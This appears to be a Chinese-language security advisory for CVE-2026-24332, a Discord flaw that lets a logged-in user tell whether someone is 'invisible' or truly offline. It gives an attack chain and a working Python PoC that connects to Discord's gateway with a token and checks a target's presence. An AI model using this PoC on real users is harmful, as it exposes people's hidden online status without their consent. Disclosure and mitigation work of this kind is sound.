IPBUF安全漏洞报告
English
CVE-2026-24332 CVSS 4.3 中危

CVE-2026-24332: Discord不可见状态检测绕过信息泄露漏洞

披露日期: 2026-01-22

漏洞信息

漏洞编号
CVE-2026-24332
漏洞类型
信息泄露/状态检测绕过
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Discord

相关标签

信息泄露状态检测绕过DiscordWebSocket隐私泄露访问控制社交工程CVE-2026-24332

漏洞概述

CVE-2026-24332是Discord客户端中的一个信息泄露漏洞,存在于2026年1月16日之前的版本。该漏洞允许攻击者通过WebSocket API请求判断目标用户是否处于"不可见(Invisible)"状态,而不仅仅是离线状态。在正常的Discord协议设计中,当用户设置为"不可见"状态时,客户端UI显示"你将显示为离线",但实际上该状态与真正的离线状态在协议层面存在可区分的差异。具体而言,当用户处于不可见状态时,WebSocket API的presences响应数组中会包含该用户(状态标记为"offline"),而真正的离线用户则不会出现在presences数组中。这种不一致性使得攻击者可以绕过隐私保护机制,精确检测目标用户的真实在线状态,包括那些希望保持匿名的用户。该漏洞影响了Discord的客户端状态同步功能,属于访问控制和信息泄露类安全问题。

技术细节

该漏洞的技术原理基于Discord WebSocket API的状态同步机制。当用户连接到Discord服务器时,客户端通过WebSocket接收实时的用户状态更新。正常情况下,presences数组用于广播用户的在线状态信息,包括在线、离开、忙碌和离线等状态。漏洞的核心问题在于不可见状态的处理逻辑存在缺陷:当用户A将状态设置为"不可见"后,服务器仍然会在presences响应中包含该用户,但将status字段设置为"offline"。而真正的离线用户B则完全不会出现在presences数组中。攻击者可以利用这一差异构造特定的WebSocket API请求,遍历目标用户列表,通过检查presences数组中是否存在某用户来判断其是否处于不可见状态。具体实现需要攻击者与目标用户处于同一服务器(Guild),或者通过好友关系建立WebSocket连接。攻击者需要发送GUILD_PRESENCES或FRIEND_SUGGESTIONS类型的Gateway事件请求,服务器返回的presences数据将暴露目标用户的真实状态。

攻击链分析

STEP 1
步骤1
攻击者使用有效Discord账户建立WebSocket连接到gateway.discord.gg
STEP 2
步骤2
发送Gateway Identify事件进行身份认证,获取presences订阅权限
STEP 3
步骤3
向目标服务器(Guild)发送GUILD_PRESENCES请求,订阅用户状态更新
STEP 4
步骤4
接收服务器返回的presences数组,遍历检查目标用户ID是否存在
STEP 5
步骤5
如果目标用户在presences数组中且status为'offline',则判断其为不可见状态而非真正离线
STEP 6
步骤6
如果目标用户不在presences数组中,则为真正的离线状态

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import asyncio import websockets import json async def check_user_invisible_status(user_token: str, target_user_id: str): """ PoC for CVE-2026-24332: Discord Invisible Status Detection Bypass This demonstrates how to detect if a user is in Invisible status by checking if they appear in the presences array with 'status': 'offline' """ uri = "wss://gateway.discord.gg/?v=10&encoding=json" async with websockets.connect(uri) as websocket: # Step 1: Send Gateway Identify identify_payload = { "op": 2, "d": { "token": user_token, "properties": { "$os": "windows", "$browser": "Chrome", } } } await websocket.send(json.dumps(identify_payload)) # Step 2: Request Guild Presences presences_request = { "op": 14, "d": { "guild_id": "TARGET_GUILD_ID", "typing": True, "activities": True, "channels": {"TARGET_GUILD_ID": []} } } await websocket.send(json.dumps(presences_request)) # Step 3: Parse presences response response = await websocket.recv() data = json.loads(response) if "d" in data and "presences" in data["d"]: presences = data["d"]["presences"] # Check if target user is in presences array with 'offline' status for presence in presences: if presence["user"]["id"] == target_user_id: if presence.get("status") == "offline": print(f"[!] User {target_user_id} is likely INVISIBLE (not truly offline)") return True print(f"[*] User {target_user_id} appears to be truly offline") return False return None # Run the PoC asyncio.run(check_user_invisible_status("YOUR_TOKEN", "TARGET_USER_ID"))

影响范围

Discord < 2026-01-16

防御指南

临时缓解措施
目前没有有效的临时缓解措施,因为该漏洞利用的是Discord协议层面的设计缺陷。用户应尽快升级Discord客户端至最新版本。开发者应修改服务器端代码,确保不可见状态的用户在presences数组中的表现与真正离线用户完全一致,不应通过API响应差异暴露用户的真实在线状态。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表